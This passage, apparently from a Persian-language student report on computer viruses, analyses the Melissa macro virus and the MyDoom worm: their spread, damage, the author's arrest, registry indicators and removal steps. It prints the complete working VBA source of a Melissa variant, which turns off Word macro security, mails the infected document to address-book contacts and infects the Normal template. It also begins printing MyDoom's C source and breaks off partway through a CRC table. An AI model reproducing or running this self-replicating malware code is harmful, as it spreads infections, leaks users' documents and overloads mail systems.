– 5-5-1تخریب اطلاعات
ویروس ها عموما عمل تخریب اطلاعات را به خوبی انجام میدهند و یکی از مهمترین کارهای انها به حساب می آید. البته نوع و اندازه تخریب به نوع ویروس و هدف آن نیز بستگی دارد و عملکرد همه یکسان نمی باشد. بطور مثال ویروس XM/Compatable تغییراتی در اطلاعات صفحه های طراحی شده توسط برنامه Excel بوجود می آورد.
– 6-5-1پاک سازی اطلاعات
عملیات پاک سازی در سطح های مختلف بر روی اطلاعات موجود انجام می شود و ویروسهایی در این زمینه گزارش شده اند که تنها اطلاعات خاص را پاک نموده و برخی تمامی اطلاعات را پاک سازی می کنند.به طور مثال ویروس Michelangelo در روز 6 ماه مارس قسمتی از اطلاعات بر روی دیسک سخت را بازنویسی کرده و از بین می برد.
-7-5-1عدم دسترسی به سخت افزار
نوعی از ویروس ها فوق العاده خطرناک نیز در مجموعه ویروس ها وجود دارند که اقدامات جبران ناپذیری را در زمینه سخت افزار یک سیستم کامپیوتری انجام می دهند. اینگونه ویروس ها در برخی موارد اقدام به سوزاندن قطعات کامپیوتری کرده و در موارد معمولی تخریب اطلاعات برنامه ریزی شده بر روی دستگاه های سخت افزاری را به همراه خواهند داشت. اکثر ویروس هایی که بدین فرم عمل می کنند بر اساس زمان و تاریخ خاصی اقدام به انجام اینگونه تخریب ها می کنند. بطور مثال ویروس CIH یا ( W95/CIH-10xx ) Chernobyl، در روز 26 ماه آوریل اطلاعات بر روی بایوس را بازنویسی کرده و آنها را از بین می برد. بااین کار دستگاه غیر قابل استفاده خواهد شد.
– 6-1راه های ویروسی شدن
راه های مختلفی برای ورود ویروس ها به رایانه شما وجود دارد.مانند فلاپی دیسک ها،لوح های فشرده،مشاهده وب گاه،دریافت نامه های آلوده،اجرای فایل های دریافت شده از اینترنت و غیره.بنابراین لازم است که تمامی این موارد به هنگام استفاده مورد کنترل یک نرم افزار ضد ویروس قرار گیرد. به بیان دیگر هنگامی که می خواهید برنامه ای را از روی یک لوح فشرده اجرا کنید و یا نامه ای را باز کنید،باید آنها را توسط یک نرم افزار ضد ویروس وارسی کنید.
فراموش نکنید که شما همواره مراقب منزل خود هستید و دقت می کنید که در منزل و پنجره ها هنگام شب یا هنگامی که در منزل نیستید، باز نباشند. به همین ترتیب باید همواره وضعیت قسمت های مختلف کامپیوتر خود را کنترل کنید. این که اندازه های فایل های شما عادی باشد یا نه،این که مثلاً فایل جدیدی به کامپیوتر شما اضافه نشده باشد و بسیاری موارد دیگر که به تدریج می توانید آنها را یاد بگیرید.اما یک نرم افزار ضد ویروس به سادگی می تواند هر موقع که شما اراده کنید تمام سیستم شما را کنترل کند و شما را از عدم وجود ویروس در کامپیوتر مطمئن سازد.
فصل دوم-آنالیزویروس ملیسا
2-1-ویروس ملیسا یک خطر جدید
ویروس ملیسا که از طریق شبکه های کامپیوتری با سرعت حیرت آوری در اواخر مارس پخش شده بود لرزه بر پشت صنعت کامپیوتر انداخت.نگرانی این بود که ملیسا به سرعت از طریق ضمایم ایمیل آلوده گسترش می یابد و وقتی ایمیل باز میشودویروس به افراد کتابچه آدرس قربانی فرستاده می شود.این بدان معنی است که ملیسا پیش از اینکه متوقف شود بسیار سریع در دنیا پخش شده و سرورهای ایمیل را در هم می شکند.همچنین ملیسا اسناد حساس را نیز میتواند برای افرادیکه در کتابچه آدرس هستند بدون اینکه کاربرمتوجه شود بفرستد.الگوی ملیسا موذیانه است چون این ویروس طوری عمل می کند که ضمائم ایمیلی آلوده به نظر برسد از طرف فردی آمده است که دریافت کننده وی را می شناسد.
ملیسا امتیاز تهدید امنیتی بالقوه ایجاد شده توسط زبان های ماکرورانیز دارد. در این مورد ابزار برنامه نویسی برای برنامه های کاربردی مایکروسافت (VBA ) به برنامه های کاربران امکان اجرا در اسناد رامی دهد. در مورد ملیسا محقق عاملیت بد خیم را در سند استفاده شده به عنوان یک ضمیمه ایمیلی برنامه ریزی کرده است.به این دلیل ویروس ملیسا معرف یک توسعه جدید و بزرگ در تکنولوزی ویروس است.
ویروس های مشابهی می توانند بسیار بد خیم تر از ملیسا باشند این را JEFF Carpenterرهبر تیم پاسخگویی به حوادث در تیم پاسخگویی به موارد اضطراری کامپیوتری در دانشگاه Carnegie mellon میگوید.این می تواند انشعابات شدیدی داشته باشد چون بسیاری از سازمان ها وابسته به ایمیل برای وظائف خود هستند.بدتر از همه این نوع مشکل اجرای فعالیت های اینترنتی را بر هم زده و باعث دهها بیلیون دلار خسارت میگردد.این را MIChael A.vatis مدیر مرکز حفاظت زیر ساخت های ملی (NIPC)می گوید.
2-2-اثرات مخرب ویروس ملیسا
ملیسا در 26مارس جمعه شروع بکار کرد.
اثرات ملیسا
کاربران پیام های ایمیل را با موارد زیر دریافت کردند:
_ یک خط موضوعی که به دنبال نام قربانی قبلی که نام دریافت کننده را در کتابچه آدرس ایمیل دارد و احتمالا وی را می شناسد مطلب زیررا می خواند((یک پیام مهم از…))
یک پیام متنی که می گوید:((این سندی است که شما می خواهید …آن رابه کس دیگری نشان ندهید))
_یک ضمیمه به نام List.doc با لیست دارای نامهای کاربران وپسوردهای انها در سایت های وب مستهجن که از یک گروه خبری alt.sexگرفته شده است.
چون این پیام بنظر از طرف یک آشنا آمده است دریافت کننده راتشویق به بازکردن ضمیمه میکند.
اگر قربانی از ایمیلOutlook مایکروسافت وWord 97 یا2000Word استفاده کرده باشد دستورالعمل های مایکروویروس پیام وضمیمه آلوده را به 50 تماس در هر کتابچه آدرس ایمیل قربانی می فرستد. چون یک تماس می تواند معرف یک گروه از افراد باشد نه فقط یک فرد این ویروس میتواند به بیش از 50 دریافت کننده در یک لحظه فرستاده شود.این ویروس نرم افزار word را الوده و در ادامه تمام سندهای فعال شده Word را نیز الوده وبه این ترتیب امکان توزیع وگسترش ان فراهم میگرددو همچنین این ویروس باعث بروز تغییرات در تنظیمات سیستم بمنظور تسهیل در ماموریت خود میگردد.ملیسا الگوی normal.dotدرwordرا آلوده میکند که عموما برای ایجاد اسناد استفاده می شود.اسناد جدیدسپس با ملیسا آلوده می شوند.اگر کاربر اسناد آلوده را به صورت ضمیمه ایمیل کند دریافت کننده با outlookمایکروسافت، ویروس را با باز کردن ضمیمه فعال می کند بنابراین کپی هایی از آن اسناد آلوده به اولین 50تماس خود در کتابچه آدرسشان را ارسال می کنند.اگر این سند دارای محتویات حساس باشد باعث ایجاد مشکلات امنیتی خواهد شد.
در صورتیکه کلید رجیستری زیر در کامپیوتری وجودداشته باشد،نشاندهنده آلودگی سیستم به ویروس Melissa است.مقدار رجیستری فوق"by kwyjibo…." است.
HKEY_CURRENT_USERSoftwareMicrosoftOfficeMelissa
با انتشار ملیساسریعااین ویروس شروع به گسترش و بستن سرورهای ایمیل می کند.این به بسیاری از سازمانهای کوچک که ازیک سرور برای ایمیل و دیگر کاربری های مهم خود استفاده میکند صدمه می زند.
2-3-خسارت های فراوان ویروس ملیسا
ملیسا باعث بر هم ریختگی های شدیدی در سازمان های بزرگی مثل Microsoft،US Marine Corps،Honeywell،Intel ،E.I.du pont de Nemours and Co شده است.Shrader از Trend Microمی گوید:ملیسا سریعترین ویروس منتشر شده ای است که من بدون شک تا به حال دیده ام.TippettازICSA تخمین زده است که ملیسا حدود 2/1میلیون کامپیوتر و 53000 سرور را در 7800 شرکت در آمریکای شمالی آلوده کرده است که حداقل 200، PCداردوارزش آن بین 249میلیون و 561 میلیون دلار جهت نصب است. سخنگوی ICSA Barbara Rose می گوید از 300شرکت تحقیق شده هزینه مبارزه با ملیسا 1750دلار بود اگر چه برخی هزینه های بالاتر از 100000دلار رانیز گزارش دادند دراول آوریل آژانس های اجرای قانون از ظن در این مورد جلوگیری کردند.
در آخر هفته ای که ملیسا منتشر شد کاربران ITدرسازمان های آلوده شده شروع به یادگیری در مورد ویروس پرداخته و در بسیاری موارد سرورهای ایمیل خود را خاموش کرده و ویروس را از سیستم های خود حذف کردند برای مثال مجریان تمام ایمیل های با خط موضوعی امضای ملیسا را فیلتر کردند. ضمنا فروشندگان آنتی ویروس شروع به کار کردند. Schrader می گوید: این ویروس ساده ای است راه حل آن نیز ساده است برای ما فقط 20دقیقه، ایجاد یک الگو جهت شناسایی ویروس زمان می برد.
سازمان های دارای سیستم های مدیریت امنیت مرکزی کل شبکه خود را برای پاک شدن ملیسا اسکن کردند دیگر سازمان ها نیز باید دسک تاپ خود را اسکن کنند.
رشد فزاینده زبان های ماکرو این مفهوم را تقویت کرده است که ماکروویروس هارایج تر و خطرناک تر شده است. خصوصا از زمانی که ملیسا منتشر شده است زبان های ماکرو برای جاسازی انواع عاملیت ها در اسناد استفاده می شود. برای مثال کاربران می توانند یک تقویم رادریک گزارش هزینه جا بدهند،بنابراین میتوانند تاریخ های مسافرت را که در سند ثبت شده اند را پیگیری کنند.به این نکته Neil Charneyمدیر تولید ابزاربرنامه نویسی در بر نامه های کاربردی (VBA) مایکرو سافت در word 2000 اشاره می کند. بااین وجود نویسندگان ویروس مثل کسی که ملیسا را نوشته است می تواند از زبان های ماکرو در جاسازی یک عاملیت بدخیم دراسناد استفاده کند. فروشندگان برنامه های کاربردی زبان های ماکرو را برای محصولاتشان پیشنهاد میکنند. VBA ابتدا درسال 1993عرضه شد و در آفیس ماکروسافت که بزرگترین محیط کاربردی است استفاده شد، بنابر این بیشترین استفاده را از زبان ماکرو داشته است .Charney می گوید علیرغم نام آن ماکرو ها برای کارهای بیش از ایجاد ماکروها دروظایف خودکار استفاده شده اند. وی می گوید: VBA می تواند به عنوان یک محیط توسعه باشد برای مثال وی گفت VBA با افزایش طرح هایی که فروشندگان را شامل نمی شود برای بهبود برنامه های کاربردی مایکروسافت استفاده شده است بعلاوه VBAبرای ادغام عاملیت چندین برنامه کاربردی استفاده میشود برای مثالCharney میگوید به جای وارد کردن دستی داده ها از یک پایگاه داده به یک صفحه گسترده استفاده شده است.
Dan Shchraderمدیر تجاری ایمنی در Portal Division at Trend Macroکه یک فروشنده نرم افزار های آنتی ویروس است بر این نظر میباشد که بسیاری از کاربران قوی این قابلیت ها را می خواهند، با این وجود می گوید صنعت کامپیو تر باید مراقب باشد چون زبان های ماکرو میتواند اسناد را تبدیل به برنامه های قابل اجراکند. کاربرانی که سندی را فقط برای خواندن باز میکنند نادانسته یک برنامه جاسازی شده را فعال می کنند که می تواند بد خیم باشد. عموما عاملیت بیشتر منجر به امنیت کمتر می شود.
Roger Thompsonمدیر فنی تحقیقات کدهای بد خیم در انجمن بین المللی امنیتی کامپیوتر که یک مشاوره دهنده امنیتی است می گوید طرح هایی مثل VBAانجام کارهای خوب وبد را آسانتر کرده استSchrader.
می گوید زبان های ماکرو نوعی طرح متداول هستند که از بین نمی روند بنابر این صنعت کامپیوتر باید راهی را برای زندگی ایمنتر با آنها پیدا کند.
2-4-متغیر ها و گونه ها
دو روز پس از انتشار، ویروس نویسان چندین گونه از ملیسا را با نام های Madcow ،Papa ،Syndicate Marauderمنتشر کردند. برای مثال Papaاکسل مایکروسافت را تحت تاثیر قرار می دهد که مثل word،VBAرا پشتیبانی می کند. وقتی یک قربانی از outlook مایکروسافت باز شده در ضمیمه ای برپایه اکسل در یک نوشته ایمیلی استفاده میکند،ویروس یادداشت وضمیمه ای به اولین 60تماس در کتابچه آدرس قربانی ارسال می کند .Roger Thompson مدیر فنی ICSA در تحقیقات کد های بد خیم اشاره می کند که نویسندگان گونه های خود از کد های ملیسا را به چندین گروه خبری مدت کوتاهی پس از انتشار ارسال کرده اند . با این وجود بسیاری از شرکتهای آنتی ویروس منتظر گونه ها بوده و نرم افزارهای بروزی که بتواند آنها را شناسایی کند تولید کرده اند.
2-5-بازداشت فرد مظنون به تولید ملیسا
با انتشار ملیسا در شبکه ها در 26مارس آژانسهای اجرای قانون مثل FBIشروع به جستجوی تولیدکننده ویروس کردند. آنها منبع ویروس را در نیوجرسی رد یابی کردند.
در اول آوریل ،محققین جرم های کامپیوتری با پلیس ایالتی نیوجرسی وبخش امنیت عمومی وقانون David L. Smith 31ساله که یک برنامه نویس است و در نیوجرسی زندگی میکند را بازداشت کردند.
شکل،David L.Smith(در مرکز)از دادگاه می خواهد که به دفاعیات وی در ایجاد ویروس ملیسا گوش دهند. وی همراه با وکیل خودEdward F.Borden است. محققین Smith رامتهم به برهم زدن ارتباطات عمومی، توطـیه در برهم زدن ارتباطات عمومی وتلاش برای برهم زدن ارتباطات عمومی با اتهام درجه2وسرقت از سرویس های کامپیوتری وصدمه و فعالیت نامشروع در سیستم های کامپیوتری با اتهام درجه 3کردندووی پس از گذاشتن 100000دلار وثیقه ازاد شد.وکیل Smithاز پرنستون نیوجرسی در دفاع از وی تمام اتهامات را قبول نکرد.
Smithبا حداکثر جریمه 480000دلار و40سال زندان طبق گفته Paul Loriquetسخنگوی دفاتر عمومی وکلای نیوجرسی محکوم شد. با تکمیل تحقیقات دفتر عمومی وکالت به هیات منصفه ایالت دلایلی را می فرستند تا دادگاه در کیفر خواست وی تصمیم بگیرد.
2-6-نتیجه گیری
ملیسا بر این تاکید دارد که سازمان ها باید رمزدار کردن تمام ایمیل ها را متوقف کنند. وقتی پیام ها رمزدار شدند نرم افزار آنتی ویروس محتویات آن را نمی تواند بخواند وبنابراین نمی تواند تعیین کند که آیا دارای ویروس های ایمیلی مثل ملیسا هستند یا نه. مردم نیاز به رضایتمندی بیشتردارند رمز دار کردن تمام ایمیل ها آیا لازم است؟ شاید آنها فقط مهمترین ایمیل ها را رمز دار کنند. البته متخصصین ویروس می گویند کاربران باید مراقب باشند مثلا در استفاده وبروزرسانی نرم افزار های آنتی ویروس.
Carpenterمی گوید: وقتی ایمنی مورد توجه زیاد نشریات قرارمی گیرد من فکر می کنم هنوز افراد زیادی وجود دارند که اولویت لازم را به این موضوع نمی دهند. کاربران میزان مشکل را درک نمی کنند ومتوجه سرمایه گذاری های لازم برای محافظت نیستند.
2-7-سورس کد ویروس ملیسا
"Melissa" virus source code
This is the source code (in VBS) of the Duke/SMF variant of the virus "Melissa" written by Kwyjibo, which started spreading on Friday, March 26, 1999.
Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") <> "" Then
CommandBars("Macro").Controls("Security…").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice9.0WordSecurity", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 – 1): Options.VirusProtection = (1 – 1): Options.SaveNormalPrompt = (1 – 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") <> "… by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for … don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USERSoftwareMicrosoftOffice", "Melissa?") = "… by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <–> Word 2000 … it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
——————————————————————————–
2-8-روش پاکسازی ویروس ملیسا
کشف شده: 26 مارچ 1999
آپدیت شد: 13 فوریه 2007
شناخته شده: W95 M.melissa
نوع: ماکرو
سیستم های تاثیر پذیر: ویندوز 2000 ، ویندوز 95 ، ویندوز 98 ، ویندوز ME ، ویندوز NT ، ویندوز XP ملیسا یک ویروس هاکروی معمولی است که یک Payload غیر عادی دارد.
موضوع پیغام ملیسا هست.
Importani Message From username
اجرا کردن ابزار و حذف کردن ویروس:
Live updete تان راRun کنید و مطمئین شوید شما تعاریف ویروس اخیر تان را دارید.
1- آنتی ویروس نورتون را شروع کنیدو مطمئن شوید که NAV
Norton Anti Virus)) برای اسکن کردن همه فایل ها ترکیب بندی شده است.
2-Scan را به طور کامل اجرا کنید.
3- اگر هر فایلی به عنوان آلودگی با ملیسا نمایان شد روی Repair کلیک کنید.
چرا باید ملیسا را حذف کنید؟
حذف به صورت دستی یک فرآیند مشکل است و توصیه نمی شود مگر اینکه شما در این زمینه خبره باشد بنا بر این بهترین دفاع دانلو کردن و نصب یک برنامه Anti- Spyware قابل اعتماد برای Scan کردن ملیسا Spyware های دیگر روی ماشین تان است. (به منظور نمایان کردن ملیسا به آسانترین و سریع ترین راه ممکن ما توصیه می کنیم.Spyhunter Scanner را فراهم کنید)
حذف کردن ملیسا به صورت دستی:
برای کشتن فرآیند های ملیسا، Cirl +all +delete را فشار دهید تا پنجره Task manager باز شود روی Processes Tab کلیک کنید وبرای ملیسا جستجو کنید، آنگاه کلیک راست کنید و End process را انتخاب کنید.
شما همچنین نیاز دارید کلید های رجیستری ملیسا را حذف کنید برای حذف کلیدهای رجیستری روی Start در پایین کلیک کنید Run را انتخاب کنید تا پنجره Registry Editor باز شود. یک پنجره نمایان می شود. Regedit را درونBox تایپ کنید ورودی OK کلیک کنید.
برای کلید رجیستری، جستجو کنید.
Hkey_Local_Machine/software/Melissa
کلیک راست کنیدو Delete را انتخاب کنید.
فصل سوم-آنالیز کرم MyDoom
3-1-بررسی عملکرد کرم Mydoom
در ساعت نه روز چهارشنبه 28 ژانویه 2004 مطابق با هشتم بهمن 1382، شرکت مایکروسافت بررسی لازم در خصوص گزارشات دریافتی مبنی بر شیوع یک کرم جدید با نام Mydoom و یا Novarg و Mimail _R شناخته شده با نام Mydoom.B را آغاز نمود. بر اساس گزارشات دریافتی، کرم فوق امکان دستیابی به برخی وب سایت ها نظیر تعدادی از وب سایت های مایکروسافت را سلب می نماید. کرم فوق، تلاش می نماید که گیرندگان نامه های الکترونیکی را گمراه و آنان را تشویق به باز نمودن پیامی نماید که دارای یک فایل ضمیمه است. در صورت فعال شدن فایل ضمیمه، کرم Mydoom.B کدهای مخرب را بر روی کامپیوتر کاربر نصب و نسخه ای از خود را برای تمامی افراد موجود در لیست دفترچه آدرس کاربر، ارسال می نماید . محصولاتی که متاثر از کرم فوق می باشند، عبارتند از:
* Microsoft Outlook
* Microsoft Outlook Express
* Web -based e-mail programs
در قالب فرستنده یک آدرس تصادفی از سایتهای AOL، MSN، Yahoo و Hotmail به چشم می خوردومعمولا در بخش موضوع نامه های ارسالی عناوینی مانند عبارتهای زیر مشاهده می شود:
Undeliverable : error / undeliverable : hil / undeliverable ; test/
Mail Transaction / Mail Delivery system / Mail transaction failed /
Error / hello / Delivery Error / unable to deliver the message /
Server Report / Status / Returned Mail / Test /Failed / Random characters
محتوای متن نامه ها حاوی مواردی چون:
-[ random characters ]
-Test
-The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment .
-Sendmail daemon reported : Error #804 occurred during SMTP session . partial message has been received .
-The message contains Unicode characters and has been sent as a binary attachment .
-The message contains MIME – encoded graphics and has been sent as a binary attachment .
-Mail transaction failed . partial message is available .
فایل ضمیمه که حاوی فایل اجرایی کرم است به شکل زیر است:
{ body , doc , text , document , data , file ,readme, message } . { exe , bat , scr , cmd , pif }
ناگفته نماند که این کرم از طریق شبکه های p2p نیز منتقل می شود. به گزارش مرکز تحقیقات mail filtering میزان انتشار این کرم بسیار بالا و حدودا از هر 12 ایمیل ارسالی یکی را در بر میگیرد. آخرین کرمی که توانسته بود به سرعتی بالا در انتشار دست یابد sobig-f بود که از هر 17 ایمیل یکی را در بر می گرفت. گفته می شود این کرم در روسیه متولد شده است. به نوشته z-virus این کرم به گونه ای طراحی شده که پیام آلوده برای نشانی هایی چون yahoo,MSN و مایکروسافت و دیگر دامنه های مشهوری که از سیستم های شناسایی سریع نرم افزار های مخرب برخوردارند ارسال نشود.
3-2-تاثیرات این کرم بر روی ویندوز
تاثیرات این کرم برروی سیستم شامل:
درمسیر پوشه ویندوز. Ctfmon.dllوExplorer.exeایجاد دو فایل به نامهای
:Explorer.Exe
ایجاد شده اشت.بر خلاف C:$windowssystem3 در ریشه MyDoom.Bتوسط سیستم اجرا شده است کهstarttupصحیح این فایل در c:$windowsexplorer.exe
دوباره مقداردهی شده وویروس رااجرامیکند.
ویندوز دارای فایلی با نام explorer.exe در پوشه پیش فرض خود است. فایل دوم نیز همنام یکی از فایلهایی است که با نرم افزار Office نصب می شود.
Ctfmon.dll:
فایل Ctfmon.dll توسط کرم Mydoom در ریشه C:$windiwssystem32 ایجاد شده است ودر پردازش windows Explorer تزریق شده است.این باعث میشود کرم در حافظه بدون لیست شدن در لیست پردازش ها در ویندوز باقی بماند.
* تغییر فایل HOSTS: این فایل مرجع اولیه ویندوز برای Name Resolution می باشد که در مسیر زیر قرار دارد:
%winDir%system32driversetchosts
اعمال تغییرات زیر در رجیستری ویندوز(این تغییرات جهت اجرای کرم حین شروع به کار سیستم اعمال می شود. بنابر این با متغیر مربوطه از مسیر رجیستری زیر،کرم اجرا نخواهد شد.)
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows CurrentVertionRun
متغیر و مقدار ایجاد شده توسط کرم :
''Explorer"="%System%exp1orer.exe"
HKEY_CLASSES_ROOTCLSID{E6FB5E20-DE35-11CF-9C87- 00AA005127ED}Inprocserver32
* تاثیرات شبکه ای :
-کرم بلافاصله پس از نصب اقدام به ارسال ایمیل به تمامی آدرسهای موجود در کامپیوتر میزبان می کند. این مساله دو تاثیر خواهد داشت:
1.تکثیر کرم از طریق Address Book کامپیوتر میزبان:
2.بعضی از سرورهای ایمیل دارای برنامه های ضد ویروس هستند و جلوی ارسال ایمیلهای مخرب را می گیرند. همین مساله خود می تواند مشکل ساز باشد. همانطور که اشاره شد این کرم آدرس مبدا را جعلی انتخاب می کند (Source spoofing ) بنابراین ممکن است ایمیل برگشتی از سرور که خود حاوی کرم است به یک آدرس دیگر ارسال شود و شخص دیگری را آلوده سازد.
-ایجاد یک backdoor بر روی یکی از پورتهای 10080، 8080، 80، 3128، 1080. از این Backdoor ممکن است بعدا جهت دسترسی به اطلاعات کامپیوتر میزبان استفاده شود.
– پویش سیستمهایی که پورت TCPشماره 3127 بر روی آنها باز است . (علت این قضیه دقیقا مشخص نیست ولی همین امر می تواند بر ترافیک شبکه بیافزاید (.
کرم از اول فوریه 2004 شروع به حمله DDoS علیه سایت مایکروسافت کرد.
یکی دیگر از عوارض این کرم اجرای نا به هنگام و ناخواسته نرم افزار Notepad است. در این حالت Notepad از کاراکترهای نا مفهوم پر می شود. به جز موارد اشاره شده اگر تاریخ دستگاه بین 12 تا 23 بهمن باشد کرم اقدام به حمله به سایت Sco از طریق حمبه DoS می کند. این کار باعث می شود سایت مذکور برای مدتی از کار بیفتد . گونه های مختلفی از این کرم در سالهای 2005 و 2006 نیز منتشر شده است.
گونهB My Doom دو روز پس از رها سازی قبلی آن یعنی MyDoom.A ظاهر شد. ویروس ایمیلی با انتشار بالای My Doom نشاندهنده ویژگی های ویروس های ایمیلی قبلی است. با این وجود ویروس My Doom یکی از آلوده کننده ترین هاست. علاوه بر آلودگی میزبان بوسیله اجرای ویروس توسط کاربر از یک ضمیمه ایمیلی آلوده.
My Doom.B به سرعت explorer .exe را در C:$windowssystem32directory قرار داده و بدقت مراقب است که آن را در فایل قانونی و صحیح ویندوز C:$windowsexplorer.exe قرار ندهد بعلاوه این کرم فایل زیر را نیز ایجاد می کند C:$windowssystem32ctfmon.dll چون فایل های DATویروس قبلی بدنبال فایل های My Doom. A هستند My Doom. B تا زمانیکه شبکه قادر به بروز رسانی فایل DAT خود شود تا آنها را در برابر My Doom. A محافظت کند، My Doom. B سریعا آلوده می کند.
3-3-سورس کد کرم MyDoom
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma pack(push, 1)
struct zip_header_t {
DWORD signature; /* 0x04034b50 */
WORD ver_needed;
WORD flags;
WORD method;
WORD lastmod_time;
WORD lastmod_date;
DWORD crc;
DWORD compressed_size;
DWORD uncompressed_size;
WORD filename_length;
WORD extra_length;
};
struct zip_eod_t {
DWORD signature; /* 0x06054b50 */
WORD disk_no;
WORD disk_dirst;
WORD disk_dir_entries;
WORD dir_entries;
DWORD dir_size;
DWORD dir_offs;
WORD comment_len;
};
struct zip_dir_t {
DWORD signature; /* 0x02014b50 */
WORD made_by;
WORD ver_needed;
WORD flags;
WORD method;
WORD lastmod_time;
WORD lastmod_date;
DWORD crc;
DWORD compressed_size;
DWORD uncompressed_size;
WORD filename_length;
WORD extra_length;
WORD comment_length;
WORD disk_no;
WORD internal_attr;
DWORD external_attr;
DWORD local_offs;
};
#pragma pack(pop)
/* crc32.c — compute the CRC-32 of a data stream
* Copyright (C) 1995 Mark Adler
* For conditions of distribution and use, see copyright notice in zlib.h
*/
/* $Id: crc32.c,v 1.5 1996/01/13 14:55:12 spc Exp $ */
static const unsigned long crc_table[] = {
0x00000000L, 0x77073096L, 0xee0e612cL, 0x990951baL, 0x076dc419L,
0x706af48fL, 0xe963a535L, 0x9e6495a3L, 0x0edb8832L, 0x79dcb8a4L,
0xe0d5e91eL, 0x97d2d988L, 0x09b64c2bL, 0x7eb17cbdL, 0xe7b82d07L,
0x90bf1d91L, 0x1db71064L, 0x6ab020f2L, 0xf3b97148L, 0x84be41deL,
0x1adad47dL, 0x6ddde4ebL, 0xf4d4b551L, 0x83d385c7L, 0x136c9856L,
0x646ba8c0L, 0xfd62f97aL, 0x8a65c9ecL, 0x14015c4fL, 0x63066cd9L,
0xfa0f3d63L, 0x8d080df5L, 0x3b6e20c8L, 0x4c69105eL, 0xd56041e4L,
0xa2677172L, 0x3c03e4d1L, 0x4b04d447L, 0xd20d85fdL, 0xa50ab56bL,
0x35b5a8faL, 0x42b2986cL, 0xdbbbc9d6L, 0xacbcf940L, 0x32d86ce3L,
0x45df5c75L, 0xdcd60dcfL, 0xabd13d59L, 0x26d930acL, 0x51de003aL,
0xc8d75180L, 0xbfd06116L, 0x21b4f4b5L, 0x56b3c423L, 0xcfba9599L,
0xb8bda50fL, 0x2802b89eL, 0x5f058808L, 0xc60cd9b2L, 0xb10be924L,
0x2f6f7c87L, 0x58684c11L, 0xc1611dabL, 0xb6662d3dL, 0x76dc4190L,
0x01db7106L, 0x98d220bcL, 0xefd5102aL, 0x71b18589L, 0x06b6b51fL,
0x9fbfe4a5L, 0xe8b8d433L, 0x7807c9a2L, 0x0f00f934L, 0x9609a88eL,
0xe10e9818L, 0x7f6a0dbbL, 0x086d3d2dL, 0x91646c97L, 0xe6635c01L,
0x6b6b51f4L, 0x1c6c6162L, 0x856530d8L, 0xf262004eL, 0x6c0695edL,
0x1b01a57bL, 0x8208f4c1L, 0xf50fc457L, 0x65b0d9c6L, 0x12b7e950L,
0x8bbeb8eaL, 0xfcb9887cL, 0x62dd1ddfL, 0x15da2d49L, 0x8cd37cf3L,
0xfbd44c65L, 0x4db26158L, 0x3ab551ceL, 0xa3bc0074L, 0xd4bb30e2L,
0x4adfa541L, 0x3dd895d7L, 0xa4d1c46dL, 0xd3d6f4fbL, 0x4369e96aL,
0x346ed9fcL, 0xad678846L, 0xda60b8d0L, 0x44042d73L, 0x33031de5L,
